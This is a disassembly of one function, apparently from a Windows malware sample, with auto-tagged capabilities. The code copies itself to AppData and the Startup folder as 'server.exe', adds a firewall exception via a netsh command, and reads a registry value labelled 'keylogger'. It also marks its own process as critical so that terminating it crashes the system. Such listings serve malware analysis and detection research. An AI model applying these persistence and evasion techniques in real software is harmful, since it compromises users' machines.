Function at 0x140001390
Capabilities:
Copy file
Get common file path
Query or enumerate registry value
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x5a0]
sub rsp, 0x6a0
mov rax, qword [0x140046010]
xor rax, rsp
mov qword [rbp + 0x590], rax
mov eax, dword [0x14003faf8]
lea rcx, [rbp + 0x380]
movups xmm0, xmmword [str.server.exe]
mov dword [rsp + 0x50], eax
xor edx, edx
movzx eax, word [0x14003fafc]
mov r8d, 0x208
movups xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x54], ax
call fcn.14000a4b0
xor edx, edx
lea rcx, [rsp + 0x60]
mov r8d, 0x208
call fcn.14000a4b0
xor edx, edx
lea rcx, [rbp + 0x170]
mov r8d, 0x208
call fcn.14000a4b0
mov r8d, 0x104
lea rdx, [rbp + 0x170]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x1400014c8
mov r9d, 1
lea rdx, [rbp + 0x380]
xor ecx, ecx
lea r8d, [r9 + 0x19]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea rdx, [rbp + 0x380]
mov ebx, eax
lea rcx, str.szAppDataPath_s_n
call fcn.1400012c0
test ebx, ebx
je 0x1400014c8
lea rax, [rsp + 0x40]
mov edx, 0xc8
lea r9, [rbp + 0x380]
mov qword [rsp + 0x20], rax
lea r8, str._s_s
lea rcx, [rsp + 0x60]
call fcn.1400062e0
lea rax, [rbp + 0x170]
lea r8, [rsp + 0x60]
sub r8, rax
nop word [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x1400014b4
add rax, 2
test ecx, ecx
jne 0x1400014a0
test edx, edx
jne 0x140001763
lea rcx, str.same_path__Go_ahead__n
call fcn.1400012c0
xor edx, edx
lea rcx, [rsp + 0x60]
mov r8d, 0x208
call fcn.14000a4b0
mov r8d, 0x104
lea rdx, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x1400015af
xor edx, edx
lea rcx, [rbp + 0x170]
mov r8d, 0x208
call fcn.14000a4b0
mov edx, 0x5c
lea rcx, [rsp + 0x60]
call fcn.14000a370
lea rcx, [rax + 2]
test rax, rax
jne 0x140001526
lea rcx, [rsp + 0x60]
lea rdx, [rbp + 0x170]
sub rdx, rcx
movzx eax, word [rcx]
mov word [rdx + rcx], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x140001530
lea rdx, [rbp + 0x170]
lea rcx, str.szFileName___s_n
call fcn.1400012c0
xor edx, edx
lea rcx, [rbp + 0x380]
mov r8d, 0x208
call fcn.14000a4b0
lea rax, [rbp + 0x170]
mov edx, 0xc8
lea r9, [rsp + 0x60]
mov qword [rsp + 0x20], rax
lea r8, str.netsh_firewall_add_allowedprogram__s___s__ENABLE
lea rcx, [rbp + 0x380]
call fcn.1400062e0
lea rdx, [rbp + 0x380]
lea rcx, str.cmdline___s_n
call fcn.1400012c0
lea rcx, [rbp + 0x380]
call fcn.140006340
mov eax, dword [0x14003faf8]
lea rcx, [rsp + 0x60]
movups xmm0, xmmword [str.server.exe]
mov dword [rsp + 0x50], eax
xor edx, edx
movzx eax, word [0x14003fafc]
mov r8d, 0x208
movups xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x54], ax
call fcn.14000a4b0
xor edx, edx
lea rcx, [rbp + 0x170]
mov r8d, 0x208
call fcn.14000a4b0
xor edx, edx
lea rcx, [rbp + 0x380]
mov r8d, 0x208
call fcn.14000a4b0
mov r8d, 0x104
lea rdx, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140001692
mov r9d, 1
lea rdx, [rbp + 0x170]
xor ecx, ecx
lea r8d, [r9 + 6]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea rdx, [rbp + 0x170]
mov ebx, eax
lea rcx, str.szStartupPath_s_n
call fcn.1400012c0
test ebx, ebx
je 0x140001692
lea rax, [rsp + 0x40]
mov edx, 0xc8
lea r9, [rbp + 0x170]
mov qword [rsp + 0x20], rax
lea r8, str._s_s
lea rcx, [rbp + 0x380]
call fcn.1400062e0
xor r8d, r8d
lea rdx, [rbp + 0x380]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
call fcn.140006400
call fcn.140003ac0
xor edx, edx
lea rcx, [rsp + 0x60]
mov r8d, 0x200
call fcn.14000a4b0
lea rax, [rsp + 0x30]
mov dword [rsp + 0x38], 0x200
mov r9d, 1
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.Softwaredef9b6cd3f2b0c43097dfbc918862b82
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140001739
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
lea rdx, str._kl_
lea rax, [rsp + 0x60]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rsp + 0x30]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x140001739
cmp dword [rsp + 0x38], 0x200
ja 0x140001739
lea rdx, [rsp + 0x60]
lea rcx, str.keylogger_getValue:__s__n
call fcn.1400012c0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x140001793
lea rcx, str.OpenProcess_error__n
jmp 0x1400017fb
xor r8d, r8d
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x170]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x1400014c8
lea rcx, [rsp + 0x60]
call fcn.140006340
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtSetInformationProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x1400017be
lea rcx, str.GetProcAddress_error__n
jmp 0x1400017fb
mov r9d, 4
mov dword [rsp + 0x38], 1
lea r8, [rsp + 0x38]
mov rcx, rbx
lea edx, [r9 + 0x19]
call rax
test eax, eax
jns 0x1400017f4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.NtSetInformationProcess_ProcessBreakOnTermination_error:__d___n
call fcn.140001320
jmp 0x140001800
lea rcx, str.NtSetInformationProcess_ProcessBreakOnTermination_success__n
call fcn.140001320
mov eax, 1
mov rcx, qword [rbp + 0x590]
xor rcx, rsp
call fcn.1400070a0
mov rbx, qword [rsp + 0x6b0]
add rsp, 0x6a0
pop rbp
ret